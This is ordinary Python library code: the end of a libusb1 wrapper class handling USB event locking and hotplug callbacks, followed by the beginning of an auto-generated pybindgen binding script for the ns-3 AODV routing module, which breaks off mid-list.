result == 0: result = None elif result == 1: result = timeval.tv_sec + (timeval.tv_usec * 0.000001) else: raise libusb1.USBError(result) return result @_validContext def setDebug(self, level): """ Set debugging level. Note: depending on libusb compilation settings, this might have no effect. """ libusb1.libusb_set_debug(self.__context_p, level) @_validContext def tryLockEvents(self): """ See libusb_try_lock_events doc. """ return libusb1.libusb_try_lock_events(self.__context_p) @_validContext def lockEvents(self): """ See libusb_lock_events doc. """ libusb1.libusb_lock_events(self.__context_p) @_validContext def lockEventWaiters(self): """ See libusb_lock_event_waiters doc. """ libusb1.libusb_lock_event_waiters(self.__context_p) @_validContext def waitForEvent(self): """ See libusb_wait_for_event doc. """ libusb1.libusb_wait_for_event(self.__context_p) @_validContext def unlockEventWaiters(self): """ See libusb_unlock_event_waiters doc. """ libusb1.libusb_unlock_event_waiters(self.__context_p) @_validContext def eventHandlingOK(self): """ See libusb_event_handling_ok doc. """ return libusb1.libusb_event_handling_ok(self.__context_p) @_validContext def unlockEvents(self): """ See libusb_unlock_events doc. """ libusb1.libusb_unlock_events(self.__context_p) @_validContext def handleEventsLocked(self): """ See libusb_handle_events_locked doc. """ # XXX: does tv parameter need to be exposed ? result = libusb1.libusb_handle_events_locked(self.__context_p, _zero_tv_p) if result: raise libusb1.USBError(result) @_validContext def eventHandlerActive(self): """ See libusb_event_handler_active doc. """ return libusb1.libusb_event_handler_active(self.__context_p) def hasCapability(self, capability): """ Tests feature presence. See libusb1.libusb_capability . """ return libusb1.libusb_has_capability(capability) @_validContext def hotplugRegisterCallback(self, callback, events=libusb1.LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | \ libusb1.LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT, flags=libusb1.LIBUSB_HOTPLUG_ENUMERATE, vendor_id=libusb1.LIBUSB_HOTPLUG_MATCH_ANY, product_id=libusb1.LIBUSB_HOTPLUG_MATCH_ANY, dev_class=libusb1.LIBUSB_HOTPLUG_MATCH_ANY, ): """ Registers an hotplug callback. On success, returns an opaque value which can be passed to hotplugDeregisterCallback. Callback must accept the following positional arguments: - this USBContext instance - an USBDevice instance If device has left, configuration descriptors may not be available. Its device descriptor will be available. - event type (see libusb1.libusb_hotplug_event) Callback must return whether it must be unregistered (any true value to be unregistered, any false value to be kept registered). """ def wrapped_callback(context_p, device_p, event, _): assert addressof(context_p.contents) == addressof( self.__context_p.contents), (context_p, self.__context_p) unregister = bool(callback(self, USBDevice(self, device_p, event != libusb1.LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT), event)) if unregister: del self.__hotplug_callback_dict[handle] return unregister handle = c_int() callback_p = libusb1.libusb_hotplug_callback_fn_p(wrapped_callback) result = libusb1.libusb_hotplug_register_callback(self.__context_p, events, flags, vendor_id, product_id, dev_class, callback_p, None, byref(handle)) if result: raise libusb1.USBError(result) handle = handle.value # Keep strong references assert handle not in self.__hotplug_callback_dict, (handle, self.__hotplug_callback_dict) self.__hotplug_callback_dict[handle] = (callback_p, wrapped_callback) return handle @_validContext def hotplugDeregisterCallback(self, handle): """ Deregisters an hotplug callback. handle (opaque) Return value of a former hotplugRegisterCallback call. """ del self.__hotplug_callback_dict[handle] libusb1.libusb_hotplug_deregister_callback(self.__context_p, handle) del USBContext._validContext def getVersion(): """ Returns underlying libusb's version information as a 6-namedtuple (or 6-tuple if namedtuples are not avaiable): - major - minor - micro - nano - rc - describe Returns (0, 0, 0, 0, '', '') if libusb doesn't have required entry point. """ version = libusb1.libusb_get_version().contents return Version(version.major, version.minor, version.micro, version.nano, version.rc, version.describe) class LibUSBContext(USBContext): """ Backward-compatibility alias for USBContext. """ def __init__(self): warnings.warn('LibUSBContext is being renamed to USBContext', DeprecationWarning) super(LibUSBContext, self).__init__()
codeparrot/github-code-clean
from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers import pybindgen.settings import warnings class ErrorHandler(pybindgen.settings.ErrorHandler): def handle_error(self, wrapper, exception, traceback_): warnings.warn("exception %r in wrapper %s" % (exception, wrapper)) return True pybindgen.settings.error_handler = ErrorHandler() import sys def module_init(): root_module = Module('ns.aodv', cpp_namespace='::ns3') return root_module def register_types(module): root_module = module.get_root() ## aodv-routing-protocol.h (module 'aodv'): ns3::WifiMacDropReason [enumeration] module.add_enum('WifiMacDropReason', []) ## log.h (module 'core'): ns3::LogLevel [enumeration] module.add_enum('LogLevel', ['LOG_NONE', 'LOG_ERROR', 'LOG_LEVEL_ERROR', 'LOG_WARN', 'LOG_LEVEL_WARN', 'LOG_DEBUG', 'LOG_LEVEL_DEBUG', 'LOG_INFO', 'LOG_LEVEL_INFO', 'LOG_FUNCTION', 'LOG_LEVEL_FUNCTION', 'LOG_LOGIC', 'LOG_LEVEL_LOGIC', 'LOG_ALL', 'LOG_LEVEL_ALL', 'LOG_PREFIX_FUNC', 'LOG_PREFIX_TIME', 'LOG_PREFIX_NODE', 'LOG_PREFIX_LEVEL', 'LOG_PREFIX_ALL'], import_from_module='ns.core') ## address.h (module 'network'): ns3::Address [class] module.add_class('Address', import_from_module='ns.network') ## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration] module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class] module.add_class('AttributeConstructionList', import_from_module='ns.core') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct] module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList']) typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator', 'ns3::AttributeConstructionList::CIterator') typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator*', 'ns3::AttributeConstructionList::CIterator*') typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator&', 'ns3::AttributeConstructionList::CIterator&') ## buffer.h (module 'network'): ns3::Buffer [class] module.add_class('Buffer', import_from_module='ns.network') ## buffer.h (module 'network'): ns3::Buffer::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer']) ## packet.h (module 'network'): ns3::ByteTagIterator [class] module.add_class('ByteTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::ByteTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList [class] module.add_class('ByteTagList', import_from_module='ns.network') ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator']) ## callback.h (module 'core'): ns3::CallbackBase [class] module.add_class('CallbackBase', import_from_module='ns.core') ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeAccessor> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeChecker> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeChecker']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeValue> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeValue']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::CallbackImplBase> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::EventImpl> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::EventImpl']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Hash::Implementation> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Ipv4Route> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::Ipv4Route']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::NixVector> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::NixVector']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Packet> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::Packet']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::TraceSourceAccessor> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor']) ## event-id.h (module 'core'): ns3::EventId [class] module.add_class('EventId', import_from_module='ns.core') ## event-id.h (module 'core'): ns3::EventId::UID [enumeration] module.add_enum('UID', ['INVALID', 'NOW', 'DESTROY', 'RESERVED', 'VALID'], outer_class=root_module['ns3::EventId'], import_from_module='ns.core') ## hash.h (module 'core'): ns3::Hasher [class] module.add_class('Hasher', import_from_module='ns.core') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] module.add_class('Inet6SocketAddress', import_from_module='ns.network') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] root_module['ns3::Inet6SocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] module.add_class('InetSocketAddress', import_from_module='ns.network') ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] root_module['ns3::InetSocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## int-to-type.h (module 'core'): ns3::IntToType<0> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['0']) ## int-to-type.h (module 'core'): ns3::IntToType<0>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 0 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<1> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['1']) ## int-to-type.h (module 'core'): ns3::IntToType<1>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 1 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<2> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['2']) ## int-to-type.h (module 'core'): ns3::IntToType<2>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 2 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<3> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['3']) ## int-to-type.h (module 'core'): ns3::IntToType<3>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 3 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<4> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['4']) ## int-to-type.h (module 'core'): ns3::IntToType<4>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 4 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<5> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['5']) ## int-to-type.h (module 'core'): ns3::IntToType<5>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 5 >'], import_from_module='ns.core') ## int-to-type.h (module 'core'): ns3::IntToType<6> [struct] module.add_class('IntToType', import_from_module='ns.core', template_parameters=['6']) ## int-to-type.h (module 'core'): ns3::IntToType<6>::v_e [enumeration] module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 6 >'], import_from_module='ns.core') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] module.add_class('Ipv4Address', import_from_module='ns.network') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressHash [class] module.add_class('Ipv4AddressHash', import_from_module='ns.network') ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress [class] module.add_class('Ipv4InterfaceAddress', import_from_module='ns.internet') ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e [enumeration] module.add_enum('InterfaceAddressScope_e', ['HOST', 'LINK', 'GLOBAL'], outer_class=root_module['ns3::Ipv4InterfaceAddress'], import_from_module='ns.internet') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class] module.add_class('Ipv4Mask', import_from_module='ns.network') ## ipv4-routing-helper.h (module 'internet'): ns3::Ipv4RoutingHelper [class] module.add_class('Ipv4RoutingHelper', allow_subclassing=True, import_from_module='ns.internet') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] module.add_class('Ipv6Address', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressHash [class] module.add_class('Ipv6AddressHash', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class] module.add_class('Ipv6Prefix', import_from_module='ns.network') ## log.h (module 'core'): ns3::LogComponent [class] module.add_class('LogComponent', import_from_module='ns.core') typehandlers.add_type_alias('std::map< std::string, ns3::LogComponent * >', 'ns3::LogComponent::ComponentList') typehandlers.add_type_alias('std::map< std::string, ns3::LogComponent * >*', 'ns3::LogComponent::ComponentList*') typehandlers.add_type_alias('std::map< std::string, ns3::LogComponent * >&', 'ns3::LogComponent::ComponentList&') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] module.add_class('Mac48Address', import_from_module='ns.network') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )', 'ns3::Mac48Address::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )*', 'ns3::Mac48Address::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )&', 'ns3::Mac48Address::TracedCallback&') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address']) ## mac8-address.h (module 'network'): ns3::Mac8Address [class] module.add_class('Mac8Address', import_from_module='ns.network') ## mac8-address.h (module 'network'): ns3::Mac8Address [class] root_module['ns3::Mac8Address'].implicitly_converts_to(root_module['ns3::Address']) ## node-container.h (module 'network'): ns3::NodeContainer [class] module.add_class('NodeContainer', import_from_module='ns.network') typehandlers.add_type_alias('std::vector< ns3::Ptr< ns3::Node > > const_iterator', 'ns3::NodeContainer::Iterator') typehandlers.add_type_alias('std::vector< ns3::Ptr< ns3::Node > > const_iterator*', 'ns3::NodeContainer::Iterator*') typehandlers.add_type_alias('std::vector< ns3::Ptr< ns3::Node > > const_iterator&', 'ns3::NodeContainer::Iterator&') ## object-base.h (module 'core'): ns3::ObjectBase [class] module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core') ## object.h (module 'core'): ns3::ObjectDeleter [struct] module.add_class('ObjectDeleter', import_from_module='ns.core') ## object-factory.h (module 'core'): ns3::ObjectFactory [class] module.add_class('ObjectFactory', import_from_module='ns.core') ## packet-metadata.h (module 'network'): ns3::PacketMetadata [class] module.add_class('PacketMetadata', import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::ItemType [enumeration] module.add_enum('ItemType', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class] module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet.h (module 'network'): ns3::PacketTagIterator [class] module.add_class('PacketTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::PacketTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList [class] module.add_class('PacketTagList', import_from_module='ns.network') ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct] module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList']) ## log.h (module 'core'): ns3::ParameterLogger [class] module.add_class('ParameterLogger', import_from_module='ns.core') ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::ObjectBase'], template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter']) ## simulator.h (module 'core'): ns3::Simulator [class] module.add_class('Simulator', destructor_visibility='private', import_from_module='ns.core') ## simulator.h (module 'core'): ns3::Simulator [enumeration] module.add_enum('', ['NO_CONTEXT'], outer_class=root_module['ns3::Simulator'], import_from_module='ns.core') ## tag.h (module 'network'): ns3::Tag [class] module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## tag-buffer.h (module 'network'): ns3::TagBuffer [class] module.add_class('TagBuffer', import_from_module='ns.network') ## nstime.h (module 'core'): ns3::Time [class] module.add_class('Time', import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time::Unit [enumeration] module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST', 'AUTO'], outer_class=root_module['ns3::Time'], import_from_module='ns.core') typehandlers.add_type_alias('void ( * ) ( ns3::Time )', 'ns3::Time::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Time )*', 'ns3::Time::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Time )&', 'ns3::Time::TracedCallback&') ## nstime.h (module 'core'): ns3::TimeWithUnit [class] module.add_class('TimeWithUnit', import_from_module='ns.core') ## timer.h (module 'core'): ns3::Timer [class] module.add_class('Timer', import_from_module='ns.core') ## timer.h (module 'core'): ns3::Timer::DestroyPolicy [enumeration] module.add_enum('DestroyPolicy', ['CANCEL_ON_DESTROY', 'REMOVE_ON_DESTROY', 'CHECK_ON_DESTROY'], outer_class=root_module['ns3::Timer'], import_from_module='ns.core') ## timer.h (module 'core'): ns3::Timer::State [enumeration] module.add_enum('State', ['RUNNING', 'EXPIRED', 'SUSPENDED'], outer_class=root_module['ns3::Timer'], import_from_module='ns.core') ## timer-impl.h (module 'core'): ns3::TimerImpl [class] module.add_class('TimerImpl', allow_subclassing=True, import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId [class] module.add_class('TypeId', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration] module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::SupportLevel [enumeration] module.add_enum('SupportLevel', ['SUPPORTED', 'DEPRECATED', 'OBSOLETE'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct] module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct] module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) typehandlers.add_type_alias('uint32_t', 'ns3::TypeId::hash_t') typehandlers.add_type_alias('uint32_t*', 'ns3::TypeId::hash_t*') typehandlers.add_type_alias('uint32_t&', 'ns3::TypeId::hash_t&') ## empty.h (module 'core'): ns3::empty [class] module.add_class('empty', import_from_module='ns.core') ## int64x64-128.h (module 'core'): ns3::int64x64_t [class] module.add_class('int64x64_t', import_from_module='ns.core') ## int64x64-128.h (module 'core'): ns3::int64x64_t::impl_type [enumeration] module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core') ## aodv-helper.h (module 'aodv'): ns3::AodvHelper [class] module.add_class('AodvHelper', parent=root_module['ns3::Ipv4RoutingHelper']) ## chunk.h (module 'network'): ns3::Chunk [class] module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## header.h (module 'network'): ns3::Header [class] module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header [class] module.add_class('Ipv4Header', import_from_module='ns.internet', parent=root_module['ns3::Header']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::DscpType [enumeration] module.add_enum('DscpType', ['DscpDefault', 'DSCP_CS1', 'DSCP_AF11', 'DSCP_AF12', 'DSCP_AF13', 'DSCP_CS2', 'DSCP_AF21', 'DSCP_AF22', 'DSCP_AF23', 'DSCP_CS3', 'DSCP_AF31', 'DSCP_AF32', 'DSCP_AF33', 'DSCP_CS4', 'DSCP_AF41', 'DSCP_AF42', 'DSCP_AF43', 'DSCP_CS5', 'DSCP_EF', 'DSCP_CS6', 'DSCP_CS7'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::EcnType [enumeration] module.add_enum('EcnType', ['ECN_NotECT', 'ECN_ECT1', 'ECN_ECT0', 'ECN_CE'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## object.h (module 'core'): ns3::Object [class] module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) ## object.h (module 'core'): ns3::Object::AggregateIterator [class] module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object']) ## random-variable-stream.h (module 'core'): ns3::RandomVariableStream [class] module.add_class('RandomVariableStream', import_from_module='ns.core', parent=root_module['ns3::Object']) ## random-variable-stream.h (module 'core'): ns3::SequentialRandomVariable [class] module.add_class('SequentialRandomVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariableStream']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::Ipv4MulticastRoute', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4MulticastRoute>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::Ipv4Route', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4Route>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'), parent=root_module['ns3::empty'], template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>']) ## socket.h (module 'network'): ns3::Socket [class] module.add_class('Socket', import_from_module='ns.network', parent=root_module['ns3::Object']) ## socket.h (module 'network'): ns3::Socket::SocketErrno [enumeration] module.add_enum('SocketErrno', ['ERROR_NOTERROR', 'ERROR_ISCONN', 'ERROR_NOTCONN', 'ERROR_MSGSIZE', 'ERROR_AGAIN', 'ERROR_SHUTDOWN', 'ERROR_OPNOTSUPP', 'ERROR_AFNOSUPPORT', 'ERROR_INVAL', 'ERROR_BADF', 'ERROR_NOROUTETOHOST', 'ERROR_NODEV', 'ERROR_ADDRNOTAVAIL', 'ERROR_ADDRINUSE', 'SOCKET_ERRNO_LAST'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketType [enumeration] module.add_enum('SocketType', ['NS3_SOCK_STREAM', 'NS3_SOCK_SEQPACKET', 'NS3_SOCK_DGRAM', 'NS3_SOCK_RAW'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketPriority [enumeration] module.add_enum('SocketPriority', ['NS3_PRIO_BESTEFFORT', 'NS3_PRIO_FILLER', 'NS3_PRIO_BULK', 'NS3_PRIO_INTERACTIVE_BULK', 